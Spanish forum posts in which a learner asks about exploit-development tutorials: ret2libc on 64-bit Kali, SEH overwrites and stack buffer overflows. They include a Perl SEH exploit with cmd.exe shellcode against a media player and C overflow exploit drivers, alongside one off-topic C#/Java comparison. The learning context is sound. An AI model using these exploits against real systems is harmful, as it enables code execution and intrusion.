Buenos días.

Estaba siguiendo el tutorial http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf para bypassear el HW DEP mediante el método ret2libc.

Éste es el código a explotar:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main(int argc, char *argv[])
{
	char buff[5];
 
	if (argc != 2)
	{
		puts("Needs and argument!");
		exit(1);
	}
 
	printf("Exploiting via returning into libc function\n");
	strcpy(buff, argv[1]);
	printf("\nYou typed [%s]\n\n", buff);
 
	return 0;
}

El caso es que según pone en el tutorial, con 32 Aes sobreescribiríamos completamente el RET ADDRESS, pero en el tutorial, el autor hace uso de un sistema de 32 bits, y yo estoy usando la última versión de Kali, de 64 bits.
Con 30 Aes, me faltan 2 Aes para sobreescribir todo el RET ADDRESS, pero con o más de 31 Aes, siempre muestra  0x0000000000400655. ¿Qué pasa?



Muchas gracias

Buenos días.

Cuando se compila el propio ejecutable con SAFESEH, entonces el SEH handler de las excepciones que programamos no pueden apuntar al propio ejecutable (ha sido compilado con SAFESEH), pero si el SEH handler y el SEH chain son punteros, entonces, en una ejecución normal de cualquier programa, ¿dónde apunta el SEH handler? La cuestión es esa, que apunta al propio ejecutable y NO se puede.

Muchas gracias .

Buenos díaas.

He estado bastante liado con la uni, pero ahora que tengo tiempo ...
Acabo de terminar el tutorial 3a, que trata sobre SEH, verme el vídeo y mirar el foro de Corelan, pero hay una cosa que no entiendo (lo he puesto en mayúsculas dentro del código).

=pod
####### EXPLICACIÓN #######
 
Se sobreescribe el stack con basura hasta antes del SEH chain,
Sobreescribimos el SEH chain con un JMP SHORT 6 y 2 NOPS, con lo cual saltamos 6 bytes (saltamos al próximo SEH handler, no el suyo)
Sobreescribimos el stack con la dirección de un POP POP RET (PERO EN TEORÍA AL HACER UN JMP SHORT 6 YA NO EJECUTARÍA ESTA DIRECCIÓN)
Sobreescribimos a contiuación con la shellcode
Ponemos basura porque queremos
=cut
 
$uitxt = "UI.TXT";
 
my $junk = "A" x 584;
my $nextSEHoverwrite = "\xeb\x06\x90\x90"; # jump 6 bytes:
										   #
										   # jmp short 6
										   # NOP
										   # NOP
my $SEHoverwrite = pack('V', 0x1001e067); # pop pop ret from Player.dll
 
# Open a console (cmd.exe)
# Size: 48 bytes
my $shellcode = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB" .
"\xC7\x93\xBF\x77" . # Offset de system() en msvcrt.dll --> 0x77BF93C7
"\xFF\xD3";
 
my $junk2 = "\x90" x 1000;
 
open(myfile,">$uitxt") ;
print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

Imagen del OllyDbg:



Desde ya muchas gracias.

Buenos días!!

Estaba intentando usar el módulo exploitable de WinDbg, así que voy a http://msecdbg.codeplex.com y me lo descargo, lo descomprimo y cojo MSEC.dll del directorio Release (también he probado a hacerlo con la DLL que hay en el directorio Debug, ya que el tutorial 3 de Corelan no lo especifica) y la pongo en C:\Archivos de programa\Debugging Tools for Windows (x86)\winext, así pues, abro SoriTong.exe con WinDbg e intento cargar el módulo exploitable:


He probado a usar la ruta completa, pero me sale el mismo mensaje.
¿Qué ocurre?

Gracias de antemano.

Con C# puedes programar aplicaciones nativas para Windows, MAC OS, iOS, iPad, WP y Android, y usar la máquina virtual Mono para GNU/Linux. También puedes usar Mono con las otras plataformas.

Lo cierto es que sea nativo o con Mono, irá más rápido, ya que la máquina virtual Mono —la cual tiene una libre implementación— está más optimizada que Dalvik (la de Android) y que la desktop de Oracle.

El inconveniente es que es carísimo comprar Xamarin (compilador que permite desarrollar para tantas plataformas diferentes compartiendo gran parte del código, poniéndole Mono al programa o compilándolo nativamente).

Con lo que respecta a Java, es lento, es incómodo de programar (tiene cuarentamil clases que tienes que instanciar), y no incluye tecnologías importantes como la sobrecarga de operadores o las estructuras, por no hablar de la sintaxis que tiene...

Y tú, ¿qué opinas?  

Según he podido googlear, "payload" a veces se usa como sinónimo de "exploit", y shellcode es SÓLO el código que se ejecutará en la máquina remota (sin contar el código necesario para que se ejecute dicho código). ¿Es así?

Gracias.

Buenos días.

Hoy me he instalado una máquina virtual con Windows XP Professional x86 Spanish, y le he deshabilitado el DEP.

Pues bueno, estaba probando el exploit POPPOPRET_JMPESP.pl que tenía para "Easy RM to MP3 Converter" (sí, el programa del tutorial de Corelan), y  no me ha ido, así que he hecho 2 pruebas:

La primera, y satisfactoria, sustituyendo el JMP ESP que tendría que saltar al principio de la shellcode, por "CCCC" (\x43\x43\x43\x43), y me da error intentando ejecutar esa dirección. Proseguimos.
Código: http://pastebin.com/qm8BR1dT
Screenshot: http://www.subeimagenes.com/img/jmpesp-is-cccc-903645.jpg

Y la segunda, poniendo al JMP ESP una dirección válida y poniendo una shellcode que son muchos breakpoints. Aquí se produce un error en la dirección que ha intentado ejecutar, y que JMP ESP no apunta sólo a breakpoints.
Código: http://pastebin.com/9zy6R2YL
Screenshot: http://www.subeimagenes.com/img/shellcode-is-breakpoints-903658.jpg





La pila original está así:
 __________________________________________________
| Buffer que tendremos que llenar con Aes
|__________________________________________________|
| RET ADDRESSS que sustituiremos por un POP POP RET
|__________________________________________________|
| 4 bytes de basura que sustituiremos por "XXXX"
|__________________________________________________|
| Aquí apunta ESP antes de que se ejecute el POP POP RET, y
| que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura a la que apuntará ESP después, y
| que sustituiremos por un JMP ESP, y recogerá de la pila
| la instrucción RET que hemos puesto nosotros
|__________________________________________________|
| Aquí empieza la shellcode y es donde apuntará
| el JMP ESP cuando se ejecute
|__________________________________________________|

Gracias por la ayuda .

Buenas a todos .


Verán, estaba leyendo el PDF de creación de exploits 2 de Corelan cuando me veo esto:



Pues nada, lo intento y esto es lo que me sale:


¿Y eso? No consigo encontrar un pop pop sin esto...
He buscado por un sólo pop porque si con dos pop ya no lo encuentro, con uno menos...

He probado a usar en Immunity Debugger
!safeseh ; Busca DLLs compiladas sin safeseh
!search pop r32 ; Buscar POP a un registro de 32 bits
pero sólo me salen POPs de user32.dll


Gracias de antemano.

Buenos días .

Estaba haciendo un exploit de PruebaDeStack y no consigo que se ejecute bien la shellcode, pero el registro ESP apunta a ella.

Después del EIP (el JMP ESP) he puesto un breakpoint para poder hacer la screenshot y algunos NOPs para que se aprecie bien, e inmediatamente después está la shellcode. El problema es que no se abre una shell (es decir, no se ejecuta bien la shellcode).

Espero que puedan echarme una mano.
Muchas gracias.





PruebaDeStack



Exploit


Una screenshot nada más le doy a "Debug" al ejecutar el exploit:
http://www.subeimagenes.com/img/before-871596.png

Una screenshot después de darle a RUN (F9) a la imagen anterior:
http://www.subeimagenes.com/img/after-871598.png

Buenos días.

Quiero preguntar sobre sustituir el EIP directamente (en un BoF) sin usar un JMP REGISTRO, el porqué da error.

El código es el siguiente:
vuln1.c

    /* vuln1.c por Rojodos */
 
    #include <stdio.h>
    #include <string.h>
 
    int main (int argc, char **argv)
    {
    char buffer[64]; //Declaramos un array con 64 bytes de espacio
 
    if (argc < 2)
    {
    printf ("Introduzca un argumento al programa\n");
    return 0;
    }
 
    strcpy (buffer, argv[1]); // Aqui es donde esta el fallo
 
    return 0;
    }

Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

exploit1.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main (int argc,char **argv) {
 
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"; // Para llenar el buffer, lo que haya antes del RET ADDRESS y sustituir el RET ADDRESS
 
argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;
 
execv ("vuln1.exe", argv);
 
return 0;
}

exploit2.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main (int argc,char **argv) {
 
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y lo que haya antes del RET ADDRESS
char EIP[] = "\x7B\x46\x86\x7C"; // RET ADDRESS = 0x7C86467B
 
strcat(evilbuffer, EIP);
 
argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;
 
execv ("vuln1.exe", argv);
 
return 0;
}